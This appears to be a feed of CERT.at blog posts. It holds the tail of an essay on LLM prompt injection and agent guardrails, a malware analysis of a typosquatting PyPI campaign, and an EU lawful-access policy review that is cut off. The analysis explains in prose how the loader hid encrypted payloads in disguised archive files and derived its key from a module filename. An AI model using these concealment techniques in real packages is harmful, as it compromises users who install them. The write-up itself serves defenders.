code" now. Almost any English text can be an instruction for an LLM. Tuning WAFs is tricky enough but think about what it would take to have a border-device screen any incoming text for potential prompt injection. That would need yet another LLM to do natural language processing. This will not work.</p> <p>Look at this evolution in threat actor tooling:</p> <ol> <li>They brought their own tools (for remote access, lateral movement, encryption, &hellip;): Pattern-based AV had at least a chance.</li> <li>They switched to "living of the land": just bring scripts to control legitimate administrative tools that are already present: Maybe the execution of these scripts can be detected.</li> <li>(coming) Just bring the right prompts to local LLM agents. No need for tool downloads or fancy command lines. Just plain text and maybe a creative way to feed that text to the LLM. This will be "living of the land" on steroids</li> </ol> <p><strong>Restrict what LLMs are allowed do:</strong> If you give your agentic LLM your own rights/permissions, then any mistake the LLM makes can do serious harm. The probably right way (but horribly complex) way to deal with this are granular permissions. Maybe the LLM is allowed to propose a calendar entry based on the e-mail it processed, but deleting appointments is a step too far. You should treat your LLM as a very enthusiastic intern. It's fine to delegate a lot of work to him, but don't hand him the keys to your kingdom.</p> <p><strong>The guardrails need to be external:</strong> Just telling the LLM what it should do before inputting the network-supplied content might not be sufficient as it is impossible to rule out prompt injections. So maybe you need a second LLM just as an overseer of the main LLM. Even better, that control module could contain hardcoded deterministic (i.e., old-school software) controls that restrict the behaviour of your agentic LLM.</p> <h1>Summary</h1> <p>With LLMs, we're running into the same fundamental issues that have plagued IT security for the last 50 years. We're making the same mistakes again, and this time they are inherent to the LLM technology and thus they are even harder to tackle.</p> <p>In other words, LLM security will be really hard to get right.</p> <p>It is about to get worse.</p>Tue, 02 Dec 2025 16:59:09 GMT+0100https://www.cert.at/en/blog/2025/12/dont-say-jehova-to-an-llmCERT.at2025-12-02T16:59:09Zhttps://www.cert.at/en/blog/2025/10/how-typosquatting-tricked-me-a-bit<p class="block" style="text-align: justify;">Typosquatting [1] is a popular method using similarly looking names to draw people into malicious content &ndash; such as phishing websites or fake software packages. It leverages our &ldquo;brain optimization&rdquo; that matches what we see with what we already know &ndash; even if it&rsquo;s not exactly the same. I haven&rsquo;t installed any shady software, but it&rsquo;s still a good example how easily our brain could be used against us by utilizing our biases.</p> <p class="block" style="text-align: justify;">The story started a few days ago, when I was looking into alerts generated by my automated analysis of packages uploaded to the Python Package Index (PyPI). I don&rsquo;t have much time recently, so I don&rsquo;t review all of them &ndash; but this one immediately caught my attention:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/01-alert.png" alt="" width="956" height="131" /></p> <p class="block" style="text-align: justify;">The name is obvious typosquatting (in this case my human-typosquatting-detector still worked well), so I had to look inside. The alert had actually been triggered by a rather generic rule &ndash; I&rsquo;ve even considered lowering its severity recently. However, in the files tree something immediately looked wrong:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/02-listing.png" alt="Files listing in the asynhttp package" width="541" height="285" /><br /><em>Files listing in the </em><code>asynhttp</code><em> package</em></p> <p class="block" style="text-align: justify;">The <code>__pycache__</code> directory is a place where Python stores the source code compiled to the bytecode format, in the form of files with the PYC extension, to speedup subsequent executions. This is usually used just locally, and rather useless when included in a package &ndash; the Python interpreter will most probably treat them as outdated and recompile the code anyway. Yet, it happens from time to time that they are accidentally included in published packages.</p> <p class="block" style="text-align: justify;">But what do we see here? A PYC file that has been identified as a ZIP archive which contains a few Python source code files &ndash; this is not how it works. Looking at the code, the flagged <code>https.py</code>&nbsp;was immediately confirmed to be suspicious. I quickly found out that it implements some encryption and modifies the files of another package, implementing the Happy Eyeballs protocol [2]:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/03-listing-removing-files.png" alt="A cut from the &ldquo;https.py&rdquo;, where files belonging to another package are removed" width="733" height="220" /><br /><em>A cut from the <code>https.py</code>, where files belonging to another package are removed</em></p> <p class="block" style="text-align: justify;">Now that&nbsp;I knew enough to confirm it was malicious, I also found the entry point where this code was loaded. In a class definition in the&nbsp;<code>web_routedef.py</code>, the ZIP archive was loaded in as a Python module (this is actually supported by the Python standard library, yet rarely used in 3rd party packages). The package itself is a copy of <code>aiohttp</code> [3], a popular HTTP implementation.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/04-web_routedef1.png" alt="Listings from modified &ldquo;web_routedef.py&rdquo;. In line 22 the function to import modules from ZIP archives is imported and renamed, and then used in line 193 to load the malicious code" width="600" height="49" /><br /><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/05-web_routedef2.png" alt="Listings from modified &ldquo;web_routedef.py&rdquo;. In line 22 the function to import modules from ZIP archives is imported and renamed, and then used in line 193 to load the malicious code" width="725" height="255" /><br /><em>Listings from modified&nbsp;<code>web_routedef.py</code>. In line 22 the function to import modules from ZIP archives is imported and renamed, and then used in line 193 to load the malicious code</em></p> <p class="block" style="text-align: justify;">I was in a rush, so I didn&rsquo;t dig deeper &ndash; this was enough for the report. The package was quickly removed from PyPI. Soon afterwards, it came back under different name, a process that was repeated a few times. This is quite typical, Threat Actors often try uploading almost the same package after the removal of the previous one. I can imagine a few reasons why, but changing the package name definitely won&rsquo;t help it stay undetected next time. Here, they also experimented with different loaders and places to hide the malicious code. For example, in&nbsp;<code>aiohttp-ssl</code> and&nbsp;<code>aiohttp-openssl</code>, the archive was disguised as a certificate and loaded during executing a method:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/06-aiohttp-ssl.png" alt="Listing from the &ldquo;aiohttp-ssl&rdquo; and &ldquo;aiohttp-openssl&rdquo; packages &ndash; the archive is now named &ldquo;server.crt&rdquo; and the malicious code is in &ldquo;SSLv2.py&rdquo;" width="301" height="151" /><br /><em>Listing from the&nbsp;<code>aiohttp-ssl</code> and <code>aiohttp-openssl</code> packages &ndash; the archive is now named <code>server.crt</code> and the malicious code is in <code>SSLv2.py</code></em></p> <p class="block" style="text-align: center;">&nbsp;<img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/07-web_routedef3.png" alt="In the line 198 of file &ldquo;web_routedef.py&rdquo;, the module from ZIP archive is loaded, which automatically triggers the malicious code" width="624" height="103" /><br /><em>In the line 198 of file <code>web_routedef.py</code>, the module from ZIP archive is loaded, which automatically triggers the malicious code</em></p> <p class="block" style="text-align: justify;">And in the newest incarnation, <code>httpserver-cache</code>, the archive has been renamed to look like a file with the types definition, and the loading code has been separated between two files: in <code>typedefs.py</code> the archive is added to the list of paths where Python looks for modules to import, and the importing is triggered again in the <code>web_routedef.py</code>:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/08-falcon.png" alt="File listing from the httpserver-cache, the ZIP archive is renamed as &ldquo;_websocket.typed&rdquo; and the malicious code is now in the &ldquo;falcon.py&rdquo;" width="483" height="152" /><br /><em>File listing from the <code>httpserver-cache</code>, the ZIP archive is renamed as <code>_websocket.typed</code> and the malicious code is now in the <code>falcon.py</code></em></p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/09-typedefs.png" alt="In line 61 of &ldquo;typedefs.py&rdquo;, the ZIP archive is added to the paths where Python looks for modules" width="670" height="105" /><br /><em>In line 61 of <code>typedefs.py</code>, the ZIP archive is added to the paths where Python looks for modules</em></p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/10-import-falcon.png" alt="In line 29 of &ldquo;web_routedef.py&rdquo;, the malicious module is imported. As the typedefs was imported earlier, Python will now find falcon module in the ZIP archive " width="212" height="51" /><br /><em>In line 29 of <code>web_routedef.py</code>, the malicious module is imported. As the <code>typedefs</code> was imported earlier, Python will now find <code>falcon</code> module in the ZIP archive</em></p> <h1 class="block" style="text-align: left;">Where is the trick?</h1> <p class="block" style="text-align: justify;">Have you already noticed a trick that I&rsquo;ve overlooked in a rush? While looking for the loading code in the last package, I compared its code with the original <code>aiohttp</code>. Besides the already mentioned loading methods, it also reveals that Happy Eyeballs lost the &ldquo;s&rdquo;...</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/11-diff.png" alt="Differences in the connector.py file between the original aiohttp and malicious clone httpserver-cache " width="916" height="425" /><br /><em>Differences in the connector.py file between the original <code>aiohttp</code> and malicious clone <code>httpserver-cache</code></em></p> <p class="block" style="text-align: justify;">This was the first trick. I opened the <code>aiohappyeyeball</code> to see that it was also uploaded a few days ago and is a copy of the legitimate <code>aiohappyeyeballs</code> [4]. This package did not trigger any alert in my system, but looking at the file listing I again saw a suspicious PYC file, that this time wasn&rsquo;t recognized as any file type. There was also nothing readable inside &ndash; just some binary data.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/11-aiohappyeyeball.png" alt="Listing of files in the aiohappyeyeball package" width="462" height="255" /><br /><em>Listing of files in the <code>aiohappyeyeball</code>&nbsp;package</em></p> <p class="block" style="text-align: justify;">Quick diffing with the original package revealed interesting looking lines:</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/12-pycached.png" alt="" width="811" height="173" /></p> <p class="block" style="text-align: justify;">I did not recognize <code>__directory__</code> nor <code>__pycached__</code> as any known variables, but it looked like a loading method I didn&rsquo;t know yet &ndash; so I started digging into what is in the <code>staggerd.pyc</code>. I have ruled out real Python bytecode, and suspected a native extension module [10] &ndash; however, they should export some methods. At this point I even started asking for help. Until I thought about looking at the code from the ZIP-archives once again and realized that they managed to trick me once more.</p> <h2 class="block" style="text-align: justify;">How does it work?</h2> <p class="block" style="text-align: justify;">There is no magic way in the&nbsp;<code>aiohappyeyeball</code> to load the binary file. It acts just as storage, and the <code>staggerd.pyc</code> is an encrypted blob. The decryption is implemented in other packages. The encryption algorithm is implemented without using any dependencies outside the standard library.&nbsp;</p> <p class="block" style="text-align: justify;">The really interesting part is in the <code>mar</code> function. Every encryption needs some kind of key to perform operations. In this case, to avoid embedding the key in the file, a smart method was used: the key is a filename of one of modules. Which module? Which file? We don&rsquo;t know &ndash; the code keeps only a hash of the key. However, it iterates over all available modules and checks which one has a file name matching the hash (see lines 140-147). While the method is clever, it&rsquo;s not hard to retrieve the key by checking just modules from the standard library. The key has been clearly chosen to work on every Python installation.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/15-mar1-fixed.png" alt="First part of the &ldquo;mar&rdquo; function. The encryption key is &ldquo;server.py&rdquo;" width="900" height="165" /><br /><em>First part of the <code>mar</code> function. The encryption key is <code>server.py</code></em></p> <p class="block" style="text-align: justify;">Once the key has been found, the code uses it to decrypt one of previously declared variables (line 150). The decrypted value is <code>staggerd</code>, what matches the file name of the PYC file from <code>aiohappyeyeball</code>. Lines 151-154 adds the file extension, <code>.pyd</code> on Windows and <code>.so</code> otherwise. These extensions are used for compiled native Python extension modules. The constructed name will later be used to store the final decrypted extension module.</p> <p class="block" style="text-align: justify;">Line 155 decrypts another previously defined variable, which is a one-element list. We get here the value &ldquo;<code>staggerd.pyc</code>&rdquo; &ndash; this is exactly the file stored in <code>aiohappyeyeball</code>. In lines 156-158 we see a tracks covering mechanism: if the decrypted extension module file exists, it will be removed, and the code will also attempt to delete the ZIP archive it&rsquo;s loaded from. We can see the use of the strange <code>__directory__</code> variable from the <code>aiohappyeyeball</code>: it&rsquo;s a helper for the location of the malicious module on Windows.</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/13-mar1.png" alt="" width="800" height="180" /></p> <p class="block" style="text-align: justify;">If the native module does not exist yet, the final part of the code is executed. First, it reads the content of the <code>staggerd.pyc</code> and removes the file itself. Interestingly, the code is ready to reconstruct the encrypted payload from parts in multiple files, but only one file was used here.</p> <p class="block" style="text-align: justify;">After that, the decrypted data are saved in one of two location, depending on the system (line 171 or 176). As already said, the data is a compiled Python extension module. Finally, the standard library is used to load the module &ndash; with a slightly different methods used on Windows and Linux.&nbsp;</p> <p class="block" style="text-align: center;"><img src="https://www.cert.at/media/files/news/blog/20251029-asynhttp/14-mar3.png" alt="" width="800" height="278" /></p> <p class="block" style="text-align: justify;">Finally, the <code>mar</code> function is called immediately upon importing the malicious code. The last thing worth mentioning is that the <code>aiohappyeyeball</code> was uploaded in a few versions compiled for different operating systems, leveraging&nbsp;standard Python package managers to deliver the right version of the payload.</p> <h2 class="block" style="text-align: justify;">And all this for... nothing?</h2> <p class="block">At least that's what it looks like. I decrypted the payload, and executed it in a sandbox [5] [6]. And... nothing happened. Both Linux and Windows versions are loaded correctly, but they do not export any function. As my binary reverse engineering skills ends on &ldquo;strings&rdquo; command, I didn&rsquo;t find anything more clearly suspicious inside. If you speak binary and want to play with it, both Windows and Linux versions are now on VirusTotal [7] [8].</p> <h2 class="block">The End</h2> <p class="block" style="text-align: justify;">So far, the campaign used 5 packages [9], all of them utilizing some kind of typosquatting name. They all have already been removed or quarantined, and thus, are no longer installable. This is one of more interesting campaigns of the last time, so as the recap:</p> <ul> <li class="block" style="text-align: justify;">the encrypted payload was hidden in the <code>aiohappyeyeball</code>, installed as a dependency</li> <li class="block" style="text-align: justify;">the loader code was hidden in a ZIP archive disguised as something else and secretly loaded</li> <li class="block" style="text-align: justify;">the encryption was implemented using only the standard library</li> <li class="block" style="text-align: justify;">the key is not kept in the plain text, but delivered from a file name of some standard module</li> <li class="block" style="text-align: justify;">the final stage is a compiled extension module</li> <li class="block" style="text-align: justify;">it clones popular packages and uses typosquatting with similar names.</li> </ul> <p class="block" style="text-align: justify;">This is also an excellent example that shows that even if you have trained your eyes on dozens of typosquatted names and seen all modifications of <code>requests</code>, you can still be tricked by simple but smartly placed, typosquatting. Unfortunately, I have to leave the final question &ndash; what was it for? &ndash; open. I suspect the whole thing might have been just a test, especially because the decryption mechanism supports a split payload, but didn't utilize the capability. But who knows &ndash; maybe they have tricked me again?</p> <h2 class="block" style="text-align: justify;">Packages in the campaign</h2> <ul> <li class="block">aiohappyeyeball</li> <li class="block">aiohttp-openssl</li> <li class="block">aiohttp-ssl</li> <li class="block">asynhttp</li> <li class="block">httpserver-cache</li> </ul> <h3 class="block" style="text-align: justify;">References</h3> <ol> <li class="block"><a href="https://en.wikipedia.org/wiki/Typosquatting">https://en.wikipedia.org/wiki/Typosquatting</a></li> <li class="block"><a href="https://en.wikipedia.org/wiki/Happy_Eyeballs">https://en.wikipedia.org/wiki/Happy_Eyeballs</a></li> <li class="block"><a href="https://pypi.org/project/aiohttp/">https://pypi.org/project/aiohttp/</a></li> <li class="block"><a href="https://pypi.org/project/aiohappyeyeballs/">https://pypi.org/project/aiohappyeyeballs/</a></li> <li class="block"><a href="https://tria.ge/251027-18sgmaat8e">https://tria.ge/251027-18sgmaat8e</a></li> <li class="block"><a href="https://tria.ge/251028-w1z5aaaq9x/static1">https://tria.ge/251028-w1z5aaaq9x/static1</a></li> <li class="block"><a href="https://www.virustotal.com/gui/file/69d8c6ca2f4d9343f421ecdbe38a63eb6dc1197657e5bd46bd322da202870329/detection">https://www.virustotal.com/gui/file/69d8c6ca2f4d9343f421ecdbe38a63eb6dc1197657e5bd46bd322da202870329/detection</a></li> <li class="block"><a href="https://www.virustotal.com/gui/file/1d04fc08da9f8cf3e9f93319b40af9ba2d2a61a7234d60de2b2fe2f22f835439/detection">https://www.virustotal.com/gui/file/1d04fc08da9f8cf3e9f93319b40af9ba2d2a61a7234d60de2b2fe2f22f835439/detection</a></li> <li class="block"><a href="https://bad-packages.kam193.eu/pypi/campaign/2025-10-asynhttp/">https://bad-packages.kam193.eu/pypi/campaign/2025-10-asynhttp/</a></li> <li class="block"><a href="https://docs.python.org/3/extending/extending.html">https://docs.python.org/3/extending/extending.html</a></li> </ol>Wed, 29 Oct 2025 15:52:12 GMT+0100https://www.cert.at/en/blog/2025/10/how-typosquatting-tricked-me-a-bitCERT.at2025-10-29T15:52:12Zhttps://www.cert.at/en/blog/2025/10/hlg-paper-review<p class="block">As I&rsquo;ve written <a href="https://www.cert.at/en/blog/2025/7/encryption-vs-lawful-interception-eu-policy-news">here</a>, the EU unveiled a roadmap for addressing the encryption woes of law enforcement agencies in June 2025. As a preparation for this push, a &ldquo;<a href="https://home-affairs.ec.europa.eu/networks/high-level-group-hlg-access-data-effective-law-enforcement_en">High-Level Group on access to data for effective law enforcement</a>&rdquo; has summarized the problems for law enforcement and developed a list of recommendations.</p> <p class="block">(Side note: The EU Chat Control proposal is making headlines these days, the HLG report is dealing with a larger topic. I will not comment on the CSAM issues here at all.)</p> <p class="block">I&rsquo;ve read this this report and its conclusions, and it is certainly a well-argued document, but strictly from a law enforcement perspective. Some points are pretty un-controversial (shared training and tooling), others are pretty spicy. In a lot of cases, it hedges by using language similar to the one <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_25_1599">used by the Commission</a>:</p> <p class="block" style="padding-left: 30px;"><em>In 2026, the Commission will present a <strong>Technology Roadmap on encryption</strong> to identify and evaluate solutions that enable lawful access to encrypted data by law enforcement, while <strong>safeguarding cybersecurity and fundamental rights</strong>. </em></p> <p class="block">They are not presenting concrete solutions; they are hoping that there is a magic bullet which will fulfill all the requirements. Let&rsquo;s see what this expert group will come up with.</p> <p class="block">But first, let&rsquo;s have a look at the report from the HLG. This is not a full review but highlights the points I find interesting, with a likely bias in the direction of where I disagree.</p> <h2 class="block">Chapter I: Digital forensics</h2> <p class="block">Page 8:</p> <p class="block" style="padding-left: 30px;"><em>Criminals constantly adapt their behaviours to elude detection. Available statistics indicate that criminals are increasingly moving to legitimate end-to-end encrypted platforms. However, once effective countermeasures are found, it is likely that they will move again to different communication channels</em>.</p> <p class="block">This is a two-edged sword: if criminals use their own dedicated infrastructure, they are making these a perfect target for LE actions (or subterfuge), <a href="https://www.dw.com/en/global-police-sting-topples-ghost-criminal-messaging-app/a-70250952">Ghost</a>,&nbsp;<a href="https://en.wikipedia.org/wiki/EncroChat">EncroChat</a> and <a href="https://de.wikipedia.org/wiki/Operation_Trojan_Shield">AN0M</a> are examples for this. If the criminals hide between millions of law-abiding users in popular apps, then any LE action will potentially impact them as well. Any meaningful cooperation by the operators will just drive the criminals again into niche or self-hosted solutions &ndash; opening another window for targeted operations. So perhaps having LE access in big platforms will just mean that the big fishes will move to other ponds, leaving only the small fry in the reach of LE nets.</p> <p class="block">But the main takeaway is the following: Whatever Law Writers and Law Enforcement do; the other side can react. We thus need to plan and strategize not just for the here and now but also think about countermoves and unintended consequences.</p> <p class="block">Page 9:</p> <p class="block" style="padding-left: 30px;"><em>Access to digital evidence is considered to play a key role in 85 % of investigations.</em></p> <p class="block">Has the resource allocation within LE moved in parallel with the shift of crime to the online space?</p> <p class="block" style="padding-left: 30px;"><em>While lawful access to data for law enforcement purposes is at the core of providing our citizens with the highest possible level of security, this must not be at the expense of fundamental rights or the cybersecurity of systems and products.</em></p> <p class="block">I&rsquo;m really glad that this report acknowledges these two counterbalancing requirements. While I have a strong personal opinion on the fundamental rights aspect, the effect on the cybersecurity of systems and products is of professional interest to me. This blogpost will thus focus on the cybersecurity impact, not the human rights one.</p> <p class="block">Page 10:</p> <p class="block" style="padding-left: 30px;"><em>Strong accountability is crucial. In our democratic societies, it is the responsibility of lawmakers to establish the conditions for such accountability, ensuring a high level of privacy and security.</em></p> <p class="block">That is the theory. In practice we all know that accountability for LE overreach in practice is, let&rsquo;s say it that way, spotty. The <a href="https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html">report from the European Parliament</a>&nbsp;documents the abuse of LE powers, but news of real accountability for those transgressions have been scarce.</p> <p class="block">Call me jaded, but the only way that LE can convince the population that &ldquo;yes, this time, for these new power, we well strictly follow the law and have accountability if abuses happen&rdquo; are not empty promises is to effectively police themselves regarding past abuses.</p> <p class="block">Page 10:</p> <p class="block" style="padding-left: 30px;"><em>Cybersecurity of products and services and lawful access to data both stem from legal obligations and must be able to coexist.</em></p> <p class="block">This is the challenge in a nutshell. None of the proposals I have seen managed to thread that needle. I specifically asked exactly this question at the EC3 during my latest visit, and the answers all came down to</p> <ul> <li class="block">We need it, there must be a way</li> <li class="block">Just be more creative and think outside the box</li> <li class="block">I once talked to someone who claimed to have a solution</li> </ul> <p class="block">The Recommendation Cluster 1 is fine.</p> <p class="block">Page 20, Recommendation Cluster 2:</p> <p class="block" style="padding-left: 30px;"><em>2. setting up a process dedicated to the exchange of capacities that potentially involve the use of vulnerabilities, which would allow knowledge and resources to be pooled while ensuring that the confidentiality and sensitivity of the information would be respected. </em></p> <p class="block" style="padding-left: 30px;"><em>3. possibly exploring a European approach to the management and disclosure of vulnerabilities handled by law enforcement, based on existing good practices.</em></p> <p class="block">Existing good practices are called &ldquo;CVD &ndash; coordinated vulnerability disclosure&rdquo;, and the aim is to get vulnerabilities fixed as comprehensively and quickly as possible. This is what NIS2 requires CERTs to do. This is what the CRA demands that suppliers do.</p> <p class="block">The idea that we keep vulnerabilities open for our own use is completely anathema to the thinking and the mission of the cybersecurity community.</p> <p class="block">Page 21:</p> <p class="block" style="padding-left: 30px;"><em>Though it is still sometimes key to investigations, the exploitation of vulnerabilities must be handled with extreme care, in compliance with the relevant domestic legal framework, as it impinges on the security posture of hardware and software.</em></p> <p class="block">No shit, Sherlock!</p> <p class="block">We really need to differentiate here. Exploiting an operations error or programming mistake on the side of the criminals is fine. If they don&rsquo;t secure their Ransomware management infrastructure, then by all means, let LE break in and do their investigations. But if the vulnerability is in a generic software product that is being used by millions of citizens, then things change dramatically. I do not think that even &ldquo;extreme care&rdquo; can overcome the downsides here.</p> <p class="block" style="padding-left: 30px;"><em>The HLG experts invite the European Commission&rsquo;s JRC to explore the feasibility of setting out a European approach for the management and disclosure of vulnerabilities, handled by law enforcement, based on existing good practices</em></p> <p class="block">This clashes with the CRA and NIS2 regulations, as well as national CVD policies.</p> <p class="block">The Recommendation Cluster 3 is fine.</p> <p class="block">Page 23, Recommendation Cluster 4:</p> <p class="block" style="padding-left: 30px;"><em>1. developing a platform (SIRIUS or equivalent) for sharing tools, best practices and knowledge on how to be granted access to data by product owners, producers and hardware manufacturers. </em></p> <p class="block" style="padding-left: 30px;"><em>4. establishing a research group to assess the technical feasibility of built-in lawful access obligations (including for accessing encrypted data) for digital devices, while maintaining and without compromising the security of devices and the privacy of information for all users, as well as without weakening or undermining communications security.</em></p> <p class="block">&ldquo;Owners&rdquo; is fine &ndash; if they want to give access to LE to their own devices, so be it. But secure and targeted LE access in products is a chimera.</p> <p class="block">For me, the important distinction between a product and a service is the following:</p> <p class="block">A product is built by the manufacturer and then delivered in (mostly) the same state to multiple customers. In many cases, old-school shrink-wrapped software, the supplier doesn&rsquo;t even know who the customer is. And once the product has been shipped, the influence of the vendor on the operation of the product is very limited. This can be best explained by Open-Source products: If I install Debian Linux on my Laptop, use LUKS to do full-disk encryption and give LE a reason to do full forensics on that machine without my cooperation: what can LE do? They could go and ask Debian and the answer will be: &ldquo;Otmar probably (we don&rsquo;t know for sure; we don&rsquo;t keep track who uses our product) runs LUKS with the default encryption settings, we don&rsquo;t know any way to bypass that encryption. If we knew a way, then millions of other users would be in danger, thus we would have fixed the defect as soon as we learned of it.&rdquo; There is no way to implement real security in a product (without some sort of key-escrow service) while still give LE access.</p> <p class="block">A service is different thing: here the vendor is directly involved in handling the data of its customers, there is at least a change to special-case this single customer once a court-order arrives at the door.</p> <p class="block">Service vs. product is not strictly binary, though. Products need updates, giving vendors a chance to influence what&rsquo;s running at a specific customer. WhatsApp and other such OTT services combing a Product (the App) with a Service (the cloud-component).</p> <p class="block" style="padding-left: 30px;"><em>For example, in the case of video surveillance recordings, LEAs are increasingly faced with encrypted files that cannot be analysed by automatic software, especially when large quantities of video are involved.</em></p> <p class="block">That's an easy one, and not only for LEAs, as citizens run into the same issue with e.g. TV time-shifting disks attached to TVs. It should be possible for the owners of a device to have unencumbered access to content they own, or where there is a legal right to access it.</p> <p class="block" style="padding-left: 30px;"><em>In parallel, more transparent solutions enabling access to data in clear on seized devices should be considered, to increase the effectiveness of investigations and, at the same time, ensure a level playing field among industry players, while preserving cybersecurity and safeguarding privacy.</em></p> <p class="block">No. This will not work. See the argument about the security of products from above.</p> <p class="block" style="padding-left: 30px;"><em>A key action under this technology roadmap would be to assess the technical feasibility of built-in lawful access obligations (including for accessing encrypted data and encrypted CCTV recordings) for digital files and devices, while ensuring strong cybersecurity safeguards and without weakening or undermining communications security. This assessment would be carried out involving all relevant stakeholders.</em></p> <p class="block">I give you the CCTV case (give the owners the possibility to do bulk export in clear data), but for the rest, I just don&rsquo;t see a solution that still &ldquo;ensures strong cybersecurity safeguards and does not weaken or undermine communications security&rdquo;.</p> <h2 class="block">Chapter II: Data retention</h2> <p class="block">The majority of points raised here are sensible.</p> <p class="block">Page 34, Recommendation Cluster 6:</p> <p class="block" style="padding-left: 30px;"><em>ensuring that Member States can enforce sanctions against electronic and other communications services providers which do not cooperate with regard to the retention and provision of data, e.g. through the implementation of administrative sanctions or limits on their capacity to operate in the EU market.</em></p> <p class="block">Given how miserably the EU fails to enforce EU law with respect to big US companies, I&rsquo;m not optimistic that this will work. See also online gambling and similar &ldquo;services&rdquo; which might be popular, but of unclear legality.</p> <h2 class="block">Chapter III: Lawful interception</h2> <p class="block">Page 39:</p> <p class="block" style="padding-left: 30px;"><em>In contrast, the UK, under the Investigatory Powers Act, has set up a framework for lawful interception of OTT communications which, thanks to the adoption of the UK-US data access agreement, also applies to OTT services based in the US. According to relevant UK authorities, this makes a significant difference in crime prevention and investigations.</em></p> <p class="block">Citation needed.</p> <p class="block">Page 40:</p> <p class="block" style="padding-left: 30px;"><em>In landmark case C-670/22, the CJEU embraced a broad concept of &lsquo;interception of telecommunications&rsquo;, holding that the infiltration of terminal devices for the purpose of gathering traffic, location and communication data from an internet-based communication service constituted an &lsquo;interception of telecommunications&rsquo;.</em></p> <p class="block">I wasn&rsquo;t aware of that case, I should probably read the <a href="https://eucrim.eu/documentation/ecj-eu-criminal-law-cases-overview/case-c-67022/">judgment</a>.</p> <p class="block">Page 41:</p> <p class="block" style="padding-left: 30px;"><em>However, the increasing complexity of communication infrastructures and protocols in 5G, such as virtualisation, network slicing, edge computing and privacy-enhanced features, poses new technological challenges for traditional operators. The HLG experts insisted notably on challenges pertaining to Home Routing and to Rich Communication Services (RCS).</em></p> <p class="block">The authors are right that the changes in technology have a clear impact on which options are even there for lawful interception. The &ldquo;<a href="https://www.europol.europa.eu/cms/sites/default/files/documents/Europol%20-%20Position%20paper%20on%20Home%20routing.pdf">Europol position paper on Home routing</a>&rdquo; also sounds interesting.&nbsp;</p> <p class="block">Page 41/42:</p> <p class="block" style="padding-left: 30px;"><em>Finally, the HLG experts highlighted that one of the main technical challenges posed to LEAs comes from end-to-end encryption, notably for OTT communications, with more than 80 % of communications being run through end-to-end encrypted services (live communications and back-up storage), thus preventing investigators from accessing communication content. At the same time, the experts also agree that end-to-end encryption is considered a robust security measure which effectively protects citizens from various forms of crime. By ensuring that only the communicating users can access the content of their messages, end-to-end encryption effectively protects against unlawful eavesdropping, data theft, state-sponsored espionage and other forms of unauthorised access by hackers, cybercriminals, or even the service providers themselves.</em></p> <p class="block">This is the crux of the matter in a nutshell.</p> <p class="block">There is a legitimate need to protect communication from eavesdropping, and the possible adversaries range from the operators themselves up to state-sponsored espionage. And despite this, when law enforcement comes in waving a magic paper signed by a judge, then all those technical defences need to stand aside and enable &ldquo;lawful interception&rdquo;. Like Moses parting the sea, the Light of Galadriel causing orcs to flee, holy water repelling vampires, or any other magic device from the realm of human fantasy that can save a tricky situation.</p> <p class="block">How exactly this magic can be worked, this paper does not reveal.</p> <p class="block">Page 42:</p> <p class="block" style="padding-left: 30px;"><em>Law enforcement representatives would prefer an approach that requires companies to provide law enforcement with access to data in clear under strict conditions. It should be noted, however, that cybersecurity experts raised concerns that such solutions would undermine cybersecurity.</em></p> <p class="block">Three points here:</p> <p class="block">This is thinking in &ldquo;services&rdquo;, not in &ldquo;products&rdquo;. Signal, the cloud service, does not deal in messages at all, it provides authentication and a publish-subscribe message bus for generic communication. It&rsquo;s only the &ldquo;product&rdquo;, the Signal App, that turns all this into a messaging platform. The &ldquo;company&rdquo; has as much knowledge of the cleartext communication as Canon knows about the images the cameras take that it sold to customers.</p> <p class="block">That&rsquo;s why the &ldquo;undermine cybersecurity&rdquo; point come in: in order to be able to give LE any leg up in accessing the cleartext, the company has to undermine the security properties of end-to-end encrypted communication. If, for example, Signal were able to give LE enough information that LE can decrypt communication data received via a wiretap, then Signal itself would be able to decrypt the messages, as they are relayed via Signal&rsquo;s servers. This clearly contradicts the quote from above: &ldquo;<em>By ensuring that only the communicating users can access the content of their messages, end-to-end encryption effectively protects against unlawful eavesdropping, data theft, state-sponsored espionage and other forms of unauthorised access by hackers, cybercriminals, or even the service providers themselves</em>.&rdquo;</p> <p class="block">Once you open a door for LEAs, then other players (including LEAs from non-democratic countries) will also come knocking. And in a number of countries, those players (services, state security, military) operate under a completely different legal regime. For example, from Wikipedia: &ldquo;<a href="https://en.wikipedia.org/wiki/National_security_letter">A national security letter (NSL) is an administrative subpoena issued by the United States government to gather information for national security purposes. NSLs do not require prior approval from a judge.</a>&rdquo; These agencies might be constrained regarding their own citizens, but for foreigners there is usually very little oversight. Holding LEA to a hight legal standard is thus not enough. Any solution that enables LEA access must somehow be able to deny the same access to organisation with a bigger bludgeon to enforce compliance.</p> <p class="block">Page 44:</p> <p class="block" style="padding-left: 30px;"><em>As a result, the HLG experts consider it a priority to ensure that obligations on lawful interception of available data apply in the same way to traditional and non-traditional communication providers and are equally enforceable. The harmonisation of such obligations should serve to overcome the challenges related to the execution of cross-border requests.</em></p> <p class="block">From the LEA side, this is an understandable objective. It misses an important point, though: &ldquo;traditional&rdquo; and &ldquo;non-traditional communication providers&rdquo; 